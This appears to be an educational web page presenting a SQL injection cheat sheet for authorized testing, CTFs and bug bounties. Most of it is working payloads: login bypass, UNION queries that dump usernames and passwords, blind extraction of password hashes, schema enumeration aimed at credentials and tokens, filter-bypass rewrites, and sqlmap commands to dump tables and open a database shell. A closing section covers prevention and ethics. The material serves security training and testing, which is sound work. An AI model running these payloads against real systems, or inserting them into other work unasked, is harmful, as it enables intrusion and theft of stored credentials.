SQL Injection Cheat Sheet 2026: Payloads & Bypasses

Quick Navigation

What Is a SQL Injection Cheat Sheet?

A SQL injection cheat sheet is a compact reference of injection strings and queries that testers use to find and exploit SQLi without memorizing the syntax of every database engine. It groups payloads by goal: detect the flaw, bypass a login, read data with UNION, or extract it blindly one character at a time.

Injection ranks as A03 in the OWASP Top 10. In OWASP's 2021 analysis, 94% of tested applications showed some form of injection, with 274,000 occurrences across the dataset. SQL injection maps to CWE-89 and remains the most common variant, which is exactly why a good reference pays off on almost every web engagement.

This cheat sheet is built for authorized testing: bug bounty scopes, CTF challenges, and your own lab targets. If you are new to the attack itself, start with our SQL injection tutorial for the how and why, then come back here for the payloads.

Detection Payloads: Is It Injectable?

Before anything fancy, confirm the input reaches a query. The goal is a payload that changes the response in a predictable way: an error, a different result set, or a timing shift. Test one input at a time and watch what breaks.

When testing real applications, a numeric parameter that silently returns different rows for ?id=1 AND 1=1 versus ?id=1 AND 1=2 is a stronger signal than a raw error, because many apps hide database errors in production.

Authentication Bypass Payloads

Classic login bypass works when the app builds a query like SELECT * FROM users WHERE user='INPUT' AND pass='INPUT' and does not parameterize it. You comment out the password check or force the WHERE clause true. Drop these into the username field.

If the first payload fails, the query structure is probably different (extra parentheses, a different quote style, or a hashed password lookup). Vary the closing characters before giving up. Auth bypass is one of the fastest wins to practice in the web attacks course, which walks through why each bypass fires.

UNION-Based Data Extraction

When the query results render on the page, UNION SELECT is the fastest way to read arbitrary data. It appends your own result set to the original. Two rules make it work: your injected SELECT must return the same number of columns, and the column data types must be compatible.

Step 1: Count the columns

# Increment until the page errors or the layout breaks
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Or probe with NULLs until no error
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Step 2: Find which columns display

# Replace NULLs with markers to see which reflect on screen
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -

Step 3: Pull real data

# MySQL: current database, version, and user
' UNION SELECT database(),version(),user()-- -

# Concatenate multiple values into one visible column
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -

# MySQL: dump all usernames and passwords in one row
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password),NULL FROM users-- -

Error-Based Injection

If the app leaks database errors, you can make the engine print data inside the error message. This is faster than blind extraction because each request returns a full value. Match the function to the backend.

The 0x7e is a tilde marker that makes the injected value easy to spot inside the error text. If you see the version string wrapped in tildes, error-based extraction is live and you can swap version() for any subquery.

Blind SQL Injection Payloads

No output and no errors means blind injection. You ask the database true or false questions and read the answer from the response: a boolean payload changes the page content, a time-based payload changes how long the response takes. It is slower, so automate it once you confirm the pattern. For the full methodology, see our dedicated blind SQL injection guide.

Boolean-based

# Compare the responses to these two - different content means injectable
' AND 1=1-- -
' AND 1=2-- -

# Extract one character at a time (first char of the DB name)
' AND SUBSTRING(database(),1,1)='a'-- -

# Confirm a password hash starts with a known character
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='5'-- -

Time-based

A conditional delay turns timing into a boolean channel: ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- - sleeps only when the guess is correct. In practice, run three requests per character and take the median timing to filter out network jitter.

Database Syntax Reference

Half of SQL injection is knowing which dialect you are talking to. Fingerprint the backend first, then use the matching syntax. This table is the part of the cheat sheet you will bookmark.

Schema Enumeration

Once you can read data, map the database. The information_schema views exist on MySQL, PostgreSQL, and MSSQL. Oracle uses its own data dictionary views instead.

# List all tables (MySQL / PostgreSQL / MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -

# List columns in a target table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

# Oracle: list tables and columns
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -

From there it is a short hop to the interesting tables: users, credentials, session tokens, API keys. Filter information_schema.columns for names like pass, token, or secret to find high-value data quickly.

WAF and Filter Bypass

Web application firewalls and input filters block obvious payloads. During authorized testing you often need to rewrite a payload so it means the same thing to the database but does not match the filter's signature. These are the standard rewrites, not detection avoidance for its own sake.

A filter that strips the word UNION exactly once turns UNIOUNIONN back into UNION: the removal reassembles the keyword. Practice these rewrites against a real filter in the regex bypass SQLi lab, which is built specifically around defeating a naive input filter.

sqlmap Quick Reference

Manual payloads prove the vulnerability. For extraction at scale, sqlmap automates the same logic. Use it only inside your authorized scope, and start light before turning up the risk and level flags.

# Test a single URL parameter
sqlmap -u "https://target.example/item?id=1" --batch

# Use a saved Burp request (captures headers, cookies, POST body)
sqlmap -r request.txt --batch

# Enumerate databases, then tables, then dump
sqlmap -u "https://target.example/item?id=1" --dbs
sqlmap -u "https://target.example/item?id=1" -D appdb --tables
sqlmap -u "https://target.example/item?id=1" -D appdb -T users --dump

# Push harder when a simple test finds nothing
sqlmap -u "https://target.example/item?id=1" --level=5 --risk=3

# Get an interactive database shell
sqlmap -u "https://target.example/item?id=1" --sql-shell

Prevention Cheat Sheet

Knowing the payloads is half the job. The other half is knowing why they fail against good code, so you can report fixes that hold. The single most effective defense is parameterized queries, also called prepared statements. They send the SQL and the data on separate channels, so user input is never parsed as code.

A WAF is a useful speed bump, not a fix. Every bypass in the section above exists precisely because teams treated the firewall as the solution. For the developer-side detail, read our SQL injection prevention guide, which covers prepared statements in each major language.

Practice Your SQL Injection Skills

Copying payloads is a start. Landing them against a target that fights back is where the skill actually forms. A cheat sheet tells you what to type; a lab teaches you how to read the response and adjust when the first attempt does nothing.

Recommended Labs

• Query Quake UNION and error-based injection against a live database, browser-based
• Regex Bypass SQLi Rewrite payloads to slip past a naive input filter
• SQL Injection Test A clean environment to confirm every payload in this cheat sheet

Frequently Asked Questions

Legal and Ethical Considerations

SQL injection can read, modify, and destroy data. On a real engagement, avoid destructive payloads (no DROP, no UPDATE against production), extract only what proves impact, and document everything for your report. The goal is to demonstrate risk, not to cause damage.